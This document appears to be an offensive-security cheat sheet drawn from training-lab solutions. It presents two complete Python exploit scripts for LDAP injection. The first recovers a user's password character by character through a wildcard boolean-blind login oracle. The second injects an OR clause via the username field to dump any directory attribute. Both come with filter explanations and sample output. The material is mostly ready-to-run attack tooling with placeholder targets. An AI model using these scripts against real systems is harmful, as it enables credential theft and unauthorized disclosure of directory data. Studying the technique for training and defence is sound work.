Boolean Blind
LDAP boolean-blind password recovery via trailing wildcard
Recovers a password one character at a time by appending a candidate char plus an LDAP wildcard and watching the login oracle.
An LDAP directory stores entries as named attributes such as uid, mail, and userPassword. An LDAP filter selects entries by testing those attributes. In the following filter, & means that both enclosed conditions must be true:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))The * character is a substring wildcard. A password condition ending in * asks whether the stored value begins with the text before the wildcard:
(userPassword=A*) -> password begins with A
(userPassword=Ac*) -> password begins with AcThe oracle sends one candidate prefix and returns True only when the application response contains TRUE_RESPONSE. A true result confirms that the candidate is a real prefix. dump_password() tries every character in CHARSET, keeps the first character that produces a true result, and repeats from the longer confirmed prefix.
LDAP filter metacharacters must be distinguished from literal secret characters. A recovered *, (, ), backslash, or NUL byte is sent as its \HH hexadecimal escape so LDAP compares the literal character instead of changing the filter syntax. req_prefix stores the escaped text sent in requests, while secret stores the human-readable recovered value. If no character extends the prefix, the result is charset exhaustion unless a separate end condition is known.
import requests
import urllib3
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {}
s = requests.Session()
LOGIN_URL = "http://<TARGET>/<LOGIN_ENDPOINT>"
USERNAME = "<KNOWN_USERNAME>"
TRUE_RESPONSE = "<TRUE_RESPONSE_MARKER>"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
# Filter metacharacters must be sent hex-escaped so they stay literal
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}
def oracle(candidate):
# Server filter becomes (&(uid=USERNAME)(userPassword=<candidate>*));
# the trailing wildcard matches the rest, so a hit means the password starts with <candidate>
data = {"username": USERNAME, "password": candidate + "*"}
r = s.post(LOGIN_URL, data=data, verify=False, timeout=10, proxies=PROXIES)
is_true = r.status_code == 200 and TRUE_RESPONSE in r.text
return is_true
def dump_password():
req_prefix = "" # escaped bytes sent in the request
secret = "" # human-readable recovered value
while True:
matched = False
for character in CHARSET:
escaped_character = LDAP_ESCAPE.get(character, character)
candidate = req_prefix + escaped_character
if oracle(candidate):
req_prefix += escaped_character
secret += character
matched = True
print(f"\rRecovering password: {secret}", end="", flush=True)
break
if matched == False:
print(f"\n[-] Charset exhausted after prefix for {USERNAME}: {secret}")
return secret
if __name__ == "__main__":
dump_password()Server-side filter the wildcard grows against
(&(uid=<KNOWN_USERNAME>)(userPassword=<CANDIDATE_PREFIX>*))Recovered character-by-character
Recovering password: <RECOVERED_PASSWORD>
[-] Charset exhausted after prefix for <KNOWN_USERNAME>: <RECOVERED_PASSWORD>Find by: ldap injection, boolean blind, password bruteforce, wildcard, userPassword, prefix growth, login oracle, filter substring match · Source: CWEE/LDAP Injection boolean-blind password solve
LDAP boolean-blind arbitrary attribute dumper via OR-clause injection
Injects an OR clause through the username field to leak any chosen LDAP attribute character-by-character.
This form changes the structure of the LDAP filter rather than supplying only a wildcard value. The username payload closes the original uid condition and opens an injected OR group. In LDAP filter syntax, | means that at least one enclosed condition must be true.
username input:
<USERNAME>)(|(<ATTRIBUTE>=<CANDIDATE>*
password input:
invalid)
resulting filter:
(&(uid=<USERNAME>)(|(<ATTRIBUTE>=<CANDIDATE>*)(userPassword=invalid)))The closing parenthesis in invalid) balances the group opened by the username payload. The password condition remains false, but the complete OR group becomes true whenever the selected attribute begins with the candidate prefix. When the application treats a matching directory entry as login success, that success marker becomes a Boolean oracle for the attribute value.
dump_attribute() reuses the prefix-growth algorithm from the password section. The difference is the value being tested: ATTRIBUTE can name any directory attribute readable through the vulnerable search, including description, mail, sn, or a stored password field. Literal filter metacharacters in the recovered value remain hex-escaped.
import requests
import urllib3
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {}
s = requests.Session()
LOGIN_URL = "http://<TARGET>/<LOGIN_ENDPOINT>"
USERNAME = "<KNOWN_USERNAME>" # an entry the injected OR is anchored to
ATTRIBUTE = "<ATTRIBUTE>" # the attribute to exfiltrate
TRUE_RESPONSE = "<TRUE_RESPONSE_MARKER>"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}
def oracle(candidate):
# username breaks out and injects an OR clause:
# (&(uid=USERNAME)(|(ATTRIBUTE=<candidate>*)(userPassword=invalid)))
injected_username = f"{USERNAME})(|({ATTRIBUTE}={candidate}*"
data = {"username": injected_username, "password": "invalid)"}
r = s.post(LOGIN_URL, data=data, verify=False, timeout=10, proxies=PROXIES)
is_true = r.status_code == 200 and TRUE_RESPONSE in r.text
return is_true
def dump_attribute():
req_prefix = ""
value = ""
while True:
matched = False
for character in CHARSET:
escaped_character = LDAP_ESCAPE.get(character, character)
candidate = req_prefix + escaped_character
if oracle(candidate):
req_prefix += escaped_character
value += character
matched = True
print(f"\rRecovering {ATTRIBUTE}: {value}", end="", flush=True)
break
if matched == False:
print(f"\n[-] Charset exhausted after prefix for {ATTRIBUTE}: {value}")
return value
if __name__ == "__main__":
dump_attribute()Injected filter (OR-clause leaks the attribute)
(&(uid=<KNOWN_USERNAME>)(|(<ATTRIBUTE>=<CANDIDATE_PREFIX>*)(userPassword=invalid)))Exfiltrated attribute value
Recovering <ATTRIBUTE>: <ATTRIBUTE_VALUE>
[-] Charset exhausted after prefix for <ATTRIBUTE>: <ATTRIBUTE_VALUE>Find by: ldap injection, boolean blind, attribute dump, filter injection, OR clause, exfiltrate, description, userPassword, wildcard · Source: CWEE/LDAP Injection boolean-blind attribute solve